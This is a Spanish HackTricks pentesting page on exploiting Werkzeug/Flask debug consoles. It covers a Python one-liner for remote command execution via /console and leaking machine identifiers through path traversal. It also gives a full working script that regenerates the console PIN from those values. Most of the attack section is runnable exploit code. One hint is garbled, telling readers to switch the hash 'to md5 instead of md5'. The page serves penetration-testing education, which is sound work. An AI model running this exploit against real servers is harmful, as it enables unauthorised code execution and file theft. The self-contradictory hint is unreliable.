hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

200 lines
10 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# Werkzeug / Depuración de Flask
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2023-06-05 20:33:24 +02:00
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org" %}
## RCE de Consola
2023-06-05 20:33:24 +02:00
Si la depuración está activa, puedes intentar acceder a `/console` y obtener RCE.
2023-06-05 20:33:24 +02:00
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
También existen varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
2023-06-05 20:33:24 +02:00
## Protegido con PIN - Traversal de Ruta
2023-06-05 20:33:24 +02:00
En algunas ocasiones, el punto final **`/console`** estará protegido por un PIN. Si tienes una vulnerabilidad de **traversal de archivos**, puedes filtrar toda la información necesaria para generar ese PIN.
2023-06-05 20:33:24 +02:00
### Exploit de PIN de la Consola Werkzeug
2023-06-05 20:33:24 +02:00
**Copiado del primer enlace.**\
Ver el mensaje de "consola bloqueada" de Werkzeug forzando la página de error de depuración en la aplicación.
2023-06-05 20:33:24 +02:00
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Localiza la consola de depuración vulnerable de Werkzeug en la ruta `vulnerable-site.com/console`, pero está bloqueada por un número PIN secreto.
2023-06-05 20:33:24 +02:00
Puedes revertir el algoritmo que genera el PIN de la consola. Inspecciona el archivo `__init__.py` de depuración de Werkzeug en el servidor, por ejemplo, `python3.5/site-packages/werkzeug/debug/__init__.py`. Puedes ver el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) **para verificar cómo se genera el PIN**, pero es mejor filtrar el código fuente a través de una **vulnerabilidad de recorrido de archivos** ya que las versiones probablemente difieren.
2023-06-05 20:33:24 +02:00
Variables necesarias para explotar el PIN de la consola:
```python
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
2023-06-05 20:33:24 +02:00
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
2023-06-05 20:33:24 +02:00
]
```
#### **`probably_public_bits`**
* **`username`** es el usuario que inició este Flask
* **`modname`** es flask.app
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` es **Flask**
* `getattr(mod, '__file__', None)` es la **ruta absoluta de `app.py`** en el directorio de flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no funciona, **intente con `app.pyc`**
#### `private_bits`
* `uuid.getnode()` es la **dirección MAC de la computadora actual**, `str(uuid.getnode())` es la expresión decimal de la dirección MAC.
* Para **encontrar la dirección MAC del servidor**, es necesario saber qué **interfaz de red se está utilizando** para servir la aplicación (por ejemplo, `ens3`). Si es desconocido, **filtrar `/proc/net/arp`** para obtener el ID del dispositivo y luego **filtrar** la dirección MAC en **`/sys/class/net/<device id>/address`**.
2023-06-05 20:33:24 +02:00
Convertir **de dirección hexadecimal a decimal** ejecutando en python, por ejemplo:
2023-06-05 20:33:24 +02:00
```python
# Era 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* `get_machine_id()` concatena los **valores en `/etc/machine-id`** o **`/proc/sys/kernel/random/boot_id`** con la **primera línea de `/proc/self/cgroup`** después de la última barra (`/`).
2023-06-05 20:33:24 +02:00
<details>
<summary>Código de get_machine_id()</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
2023-06-05 20:33:24 +02:00
```
</details>
Una vez que todas las variables estén preparadas, ejecuta el script de explotación para generar el PIN de la consola de Werkzeug:
2023-06-05 20:33:24 +02:00
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2023-06-05 20:33:24 +02:00
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
2023-06-05 20:33:24 +02:00
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2023-06-05 20:33:24 +02:00
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2023-06-05 20:33:24 +02:00
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2023-06-05 20:33:24 +02:00
print(rv)
```
{% hint style="success" %}
Si estás utilizando una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de md5.
2023-06-05 20:33:24 +02:00
{% endhint %}
## Referencias
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
2023-06-05 20:33:24 +02:00
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el **7 y 8 de septiembre de 2023** en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
{% embed url="https://www.dragonjarcon.org" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2023-06-05 20:33:24 +02:00
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>